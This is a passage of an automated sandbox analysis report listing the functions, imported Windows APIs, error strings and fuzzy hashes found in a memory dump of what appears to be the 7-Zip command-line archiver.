APIs

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT ref: 00C648E0
free.MSVCRT ref: 00C648EE
free.MSVCRT ref: 00C649B8
free.MSVCRT ref: 00C649F1
free.MSVCRT ref: 00C649FF
free.MSVCRT ref: 00C64A0D
free.MSVCRT ref: 00C64A18
free.MSVCRT ref: 00C64A47
free.MSVCRT ref: 00C64A4F
free.MSVCRT ref: 00C64A5D
free.MSVCRT ref: 00C65052

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

free.MSVCRT ref: 00C64C20
free.MSVCRT ref: 00C64C2E
free.MSVCRT ref: 00C64C3C
free.MSVCRT ref: 00C64C47
free.MSVCRT ref: 00C64C79
free.MSVCRT ref: 00C64C81
free.MSVCRT ref: 00C64C90
free.MSVCRT ref: 00C64CB3
free.MSVCRT ref: 00C64CC1
free.MSVCRT ref: 00C64CCF
free.MSVCRT ref: 00C64CDA
free.MSVCRT ref: 00C64D0C
free.MSVCRT ref: 00C64D14
free.MSVCRT ref: 00C64D23
free.MSVCRT ref: 00C64D76
free.MSVCRT ref: 00C64D84
free.MSVCRT ref: 00C64D92
free.MSVCRT ref: 00C64D9D
free.MSVCRT ref: 00C64DCC
free.MSVCRT ref: 00C64DD4
free.MSVCRT ref: 00C64DE3
GetLastError.KERNEL32 ref: 00C64E70
free.MSVCRT ref: 00C64EB2
free.MSVCRT ref: 00C64EC0
free.MSVCRT ref: 00C64ECE
free.MSVCRT ref: 00C64ED9
free.MSVCRT ref: 00C64F08
free.MSVCRT ref: 00C64F10
free.MSVCRT ref: 00C64F1F
free.MSVCRT ref: 00C64FD5
free.MSVCRT ref: 00C64FE3
free.MSVCRT ref: 00C64FF1
free.MSVCRT ref: 00C64FFC
free.MSVCRT ref: 00C6502B
free.MSVCRT ref: 00C65033
free.MSVCRT ref: 00C65042
_CxxThrowException.MSVCRT ref: 00C6510C
free.MSVCRT ref: 00C651B9
free.MSVCRT ref: 00C651C7
free.MSVCRT ref: 00C651D5
free.MSVCRT ref: 00C651E0
free.MSVCRT ref: 00C6520F
free.MSVCRT ref: 00C65217
free.MSVCRT ref: 00C65226
free.MSVCRT ref: 00C65234

Strings

Can not create output directory: , xrefs: 00C64E83

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction ID: 4adae0199e0a2d86e9c45647d59490dd5626470fb83b3103037d29f363bbc3b4
Opcode Fuzzy Hash: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction Fuzzy Hash: 0A428232219AC096CB34EF25E8913AEB361FBC6790F545122EB9D43B59DF38C995DB00

Function 00C65458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C6558E
_CxxThrowException.MSVCRT ref: 00C655C2
_CxxThrowException.MSVCRT ref: 00C655E6
memset.MSVCRT ref: 00C6561F
free.MSVCRT ref: 00C656F2
free.MSVCRT ref: 00C65F84

Strings

can't decompress folder, xrefs: 00C655C8
there is no such archive, xrefs: 00C655A4, 00C65EF9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction ID: 9ff9e805f136b11c3e7db34b6abdfca23cd0e335fa8a7895846ad23260dae1fd
Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction Fuzzy Hash: 3B525C32219AC086CA30DF25E4C53AEB760F78AB94F545112EF9E53B29DF38C995DB00

Function 00C6F13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction ID: d9d005efabf8515041117672087cb62c4511fb2a4fbd1cf8a6a9492039a54d6e
Opcode Fuzzy Hash: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction Fuzzy Hash: 6B429F3720AAC086CB30DF25E0906AE7BA5F7C6B88F556016EB5E47B15CF39C986D701

Function 00C50DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C50E15
free.MSVCRT ref: 00C50E4E
_CxxThrowException.MSVCRT ref: 00C50E7A
free.MSVCRT ref: 00C50EBD
wcscmp.MSVCRT ref: 00C50F33
_CxxThrowException.MSVCRT ref: 00C50F9B
_CxxThrowException.MSVCRT ref: 00C5112A
_CxxThrowException.MSVCRT ref: 00C513AC
_CxxThrowException.MSVCRT ref: 00C514D3
_CxxThrowException.MSVCRT ref: 00C515E3
_CxxThrowException.MSVCRT ref: 00C51730
_CxxThrowException.MSVCRT ref: 00C51761
_CxxThrowException.MSVCRT ref: 00C517A2
_CxxThrowException.MSVCRT ref: 00C51801
_CxxThrowException.MSVCRT ref: 00C5186B
_CxxThrowException.MSVCRT ref: 00C51171

Part of subcall function 00C463D0: free.MSVCRT ref: 00C46440
Part of subcall function 00C463D0: free.MSVCRT ref: 00C46448

_CxxThrowException.MSVCRT ref: 00C518F2

Strings

Unsupported command:, xrefs: 00C50E57
The command must be specified, xrefs: 00C50DF5
Archive name cannot by empty, xrefs: 00C51151
-ai switch is not supported for this command, xrefs: 00C515C3
I won't write compressed data to a terminal, xrefs: 00C51741
Unsupported -spf:, xrefs: 00C50F7E
stdout mode and email mode cannot be combined, xrefs: 00C51710
Cannot use absolute pathnames for this command, xrefs: 00C5138C
Incorrect Number of benmchmark iterations, xrefs: 00C51847
Cannot find archive name, xrefs: 00C5110A
I won't write data and program's messages to same stream, xrefs: 00C514B3, 00C51782
Only one archive can be created with rename command, xrefs: 00C517E1

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrow$free$wcscmp
String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
API String ID: 1252877886-1892825451
Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction ID: 1648b00af06c6ce546a7d9a873b1adac35fbd9ff938aa990c3d1d5fd1d8a602c
Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction Fuzzy Hash: 9152057B3046C1A6DB28DF35D0947AEBB61F385784F984016DFA903B22DB78D6A8C704

Function 00C51D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00C51D12
CloseHandle.KERNEL32 ref: 00C51D25
OpenProcessToken.ADVAPI32 ref: 00C51D48
LookupPrivilegeValueW.ADVAPI32 ref: 00C51D70
AdjustTokenPrivileges.ADVAPI32 ref: 00C51D93
CloseHandle.KERNEL32 ref: 00C51DA7
GetLastError.KERNEL32 ref: 00C51DB1
FindCloseChangeNotification.KERNELBASE ref: 00C51DC6

Strings

SeSecurityPrivilege, xrefs: 00C51D57

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: Close$HandleProcessToken$AdjustChangeCurrentErrorFindLastLookupNotificationOpenPrivilegePrivilegesValue
String ID: SeSecurityPrivilege
API String ID: 2332213979-2333288578
Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction ID: 412c663fe026b9af32c4e4c837709229b1146bfc0b822dc74500cf8e20b7b618
Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction Fuzzy Hash: 6D116376204B44C2EA01CB12F95876DB3B6FBC4B85F984516EE8B42A54CF3CD58ACB14

Function 00C4AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00C4AC84
OpenProcessToken.ADVAPI32 ref: 00C4AC95
LookupPrivilegeValueW.ADVAPI32 ref: 00C4ACA9
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,?,?,?,FFFFFFFF,?,00C4F928), ref: 00C4ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,00C4F928), ref: 00C4ACEA
FindCloseChangeNotification.KERNELBASE ref: 00C4ACFA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustChangeCloseCurrentErrorFindLastLookupNotificationOpenPrivilegePrivilegesValue
String ID:
API String ID: 2838110999-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: 052528c29dd6e73f2192375b72bbd6fddfd1acf9d7df9c5eb8f80369cbabbf7c
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: BB01567361468187E7108F65F88479E7361F784B45F549139EB4A83A54CF3CC54ACB04

Function 00C47978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4794C: FindClose.KERNELBASE ref: 00C4795E

FindFirstFileW.KERNELBASE ref: 00C479BA

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

FindFirstFileW.KERNELBASE ref: 00C479FA
free.MSVCRT ref: 00C47A08

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: 8055c1913b71c8fa5bb1bb09bb43e8cb8dc99312c126ddd986f2fd59e909eaf0
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: 1B214D37208B8086DB21DF24E44035D6360F78A7B8F549320EAB9477D9DF38CA0AD740

Function 00C54418 Relevance: 219.6, APIs: 132, Strings: 13, Instructions: 2096COMMON

Download Yara Rule

Strings

\??\, xrefs: 00C5485F
Can not create hard link, xrefs: 00C55E04, 00C561B7
Can not create symbolic link, xrefs: 00C55FAB
Incorrect path, xrefs: 00C55D6E
Can not create file with auto name, xrefs: 00C55796, 00C55867
Internal error for symbolic link file, xrefs: 00C55EFB
Can not open output file, xrefs: 00C562D7
Can not delete output file, xrefs: 00C55AD5
Can not rename existing file, xrefs: 00C5592F
Dangerous link path was ignored, xrefs: 00C55CC1
Can not delete output folder, xrefs: 00C55A0E
Can not set length for output file, xrefs: 00C563C0
Can not seek to begin of file, xrefs: 00C5642F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID: Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-2438533581
Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction ID: da7139543bef5dd9182569b3cac3cbc46a7ef311ba1db91814374cb4975b3294
Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction Fuzzy Hash: 7E03A336248AC082CA34EB25E4916AEB761F7C5BC1F945112EFAE43B25DF78C9C9D704

Function 00C8950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C897B9
free.MSVCRT ref: 00C897C1
free.MSVCRT ref: 00C897D3
free.MSVCRT ref: 00C897E0
free.MSVCRT ref: 00C897EE
free.MSVCRT ref: 00C89809
free.MSVCRT ref: 00C8996E
free.MSVCRT ref: 00C89976
free.MSVCRT ref: 00C89988
free.MSVCRT ref: 00C89995
free.MSVCRT ref: 00C899A3
free.MSVCRT ref: 00C899C0
free.MSVCRT ref: 00C899CD
fputs.MSVCRT ref: 00C89A02
fputs.MSVCRT ref: 00C89A12
_CxxThrowException.MSVCRT ref: 00C89A3A

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

_CxxThrowException.MSVCRT ref: 00C8A5E1
free.MSVCRT ref: 00C8A5EF
free.MSVCRT ref: 00C8A61C
free.MSVCRT ref: 00C8A62E
free.MSVCRT ref: 00C8A696
free.MSVCRT ref: 00C8A69E
free.MSVCRT ref: 00C8A6B0

Part of subcall function 00C43518: free.MSVCRT ref: 00C43551

Strings

Open Errors: , xrefs: 00C8A138
Sub items Errors: , xrefs: 00C8A2FB
Folders: , xrefs: 00C8A1A8
ERROR: , xrefs: 00C899FB
Warnings: , xrefs: 00C8A0F0
Alternate Streams Size: , xrefs: 00C8A250
ERROR:, xrefs: 00C89F89
Files: , xrefs: 00C8A1F6
Can't open as archive: , xrefs: 00C8A03F
7zCon.sfx, xrefs: 00C89543
Size: , xrefs: 00C8A278
Archives with Errors: , xrefs: 00C8A07A
Archives: , xrefs: 00C89FE1
Incorrect command line, xrefs: 00C89A0B
Alternate Streams: , xrefs: 00C8A228
Compressed: , xrefs: 00C8A2A3
OK archives: , xrefs: 00C8A008
Archives with Warnings: , xrefs: 00C8A0AF

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: 7950e3a32e57e73d2bfd92e9c5a502a4147ea379d5541c9ff121fc8beeca7486
Instruction ID: d4071cba263275786868e15475d2d0fc48fcc2b4eb0684575eadef51736d4325
Opcode Fuzzy Hash: 7950e3a32e57e73d2bfd92e9c5a502a4147ea379d5541c9ff121fc8beeca7486
Instruction Fuzzy Hash: B1728E32309AC095DA34EF25E4913EEB3A0F786788F845126EA9E43B29DF3CC555DB05

Function 00C89B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00C89B6B

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C89C12

Strings

Scanning the drive for archives:, xrefs: 00C89B64
Open Errors: , xrefs: 00C8A138
Folders: , xrefs: 00C8A1A8
Warnings: , xrefs: 00C8A0F0
Alternate Streams Size: , xrefs: 00C8A250
ERROR:, xrefs: 00C89F89
Files: , xrefs: 00C8A1F6
Can't open as archive: , xrefs: 00C8A03F
Size: , xrefs: 00C8A278
Archives with Errors: , xrefs: 00C8A07A
Archives: , xrefs: 00C89FE1
Alternate Streams: , xrefs: 00C8A228
Compressed: , xrefs: 00C8A2A3
OK archives: , xrefs: 00C8A008
Archives with Warnings: , xrefs: 00C8A0AF

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: f1fc2bb77beb799795f3a1ecff0606d93ece482d6ec72dcd429a4e045bdcdf84
Instruction ID: e8ebb20ce37ea4ae15782fdbd2e095a767d5af5ae970fa3fae30c4c0f4aa596b
Opcode Fuzzy Hash: f1fc2bb77beb799795f3a1ecff0606d93ece482d6ec72dcd429a4e045bdcdf84
Instruction Fuzzy Hash: 54226F32309AC191DA34EF25E4913EEB3A0F786B84F845126EBAE43B29DF38C555D705

Function 00C6A180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00C6A1BF
GetProcAddress.KERNEL32 ref: 00C6A1D2
GetProcAddress.KERNEL32 ref: 00C6A1F5
GetProcAddress.KERNEL32 ref: 00C6A21E

Strings

GetIsArc, xrefs: 00C6A1C8
GetHandlerProperty, xrefs: 00C6A214
GetHandlerProperty2, xrefs: 00C6A1B5
GetNumberOfFormats, xrefs: 00C6A1EB

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction ID: 502aed68a8e0e37a74f49a0750aa36dafbee8944ba8d1a472f59f1fb7acbc7ee
Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction Fuzzy Hash: 7DD17332319AC096C630EB22E8917AEB3A4F7C5790F445521EB8E57B29DF7CC945DB01

Function 00C470C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C47D4C: GetFileAttributesW.KERNELBASE ref: 00C47D6E
Part of subcall function 00C47D4C: GetFileAttributesW.KERNEL32 ref: 00C47DA5
Part of subcall function 00C47D4C: free.MSVCRT ref: 00C47DB2

free.MSVCRT ref: 00C473F6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: fd6e17bca74bfd8a633171773f9b9ef8c0080ab1347a5df8f27d84c8e455c239
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: 5281662221C581C2CA30EF22E45176E6761FBC5794F546322FB9E87A69DF38CD46EB40

Function 00C47EBC Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C4812F
free.MSVCRT ref: 00C4816A
free.MSVCRT ref: 00C4817F
free.MSVCRT ref: 00C48232

Part of subcall function 00C4ABB0: GetModuleHandleW.KERNEL32 ref: 00C4ABD1
Part of subcall function 00C4ABB0: GetProcAddress.KERNEL32 ref: 00C4ABE1
Part of subcall function 00C4ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 00C4AC32

SetLastError.KERNEL32 ref: 00C4818F
free.MSVCRT ref: 00C4819B
free.MSVCRT ref: 00C481A6
free.MSVCRT ref: 00C481BB
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C48243
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C4824E
free.MSVCRT ref: 00C4815F

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

Strings

\, xrefs: 00C47F44
:, xrefs: 00C47F3A
:$DATA, xrefs: 00C48030, 00C48040

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
String ID: :$:$DATA$\
API String ID: 4130059181-1004618218
Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction ID: 854f25f5868ac374d9c39c9107c85a828e053dc0097dee289e40f7747e33eac9
Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction Fuzzy Hash: 6F02C573509680D6CB20DF29D49025EB770F795750F80932AE79E87B68DF34C9AADB04

Function 00C83E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00C83ED4

Part of subcall function 00C82E24: fputs.MSVCRT ref: 00C82E47
Part of subcall function 00C82E24: fputs.MSVCRT ref: 00C82E57

fputs.MSVCRT ref: 00C83F0F

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C83F4C
fputs.MSVCRT ref: 00C83FAA
fputs.MSVCRT ref: 00C83FBA
fputs.MSVCRT ref: 00C84003
fputs.MSVCRT ref: 00C84013
SysFreeString.OLEAUT32 ref: 00C840A1
fputs.MSVCRT ref: 00C840C9
SysFreeString.OLEAUT32 ref: 00C8418B
SysFreeString.OLEAUT32 ref: 00C841C2

Strings

Warning: The archive is open with offset, xrefs: 00C83F08
----, xrefs: 00C840C2
= , xrefs: 00C83FB3, 00C8400C
Path, xrefs: 00C83EE4
Type, xrefs: 00C83F76
--, xrefs: 00C83ECD

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

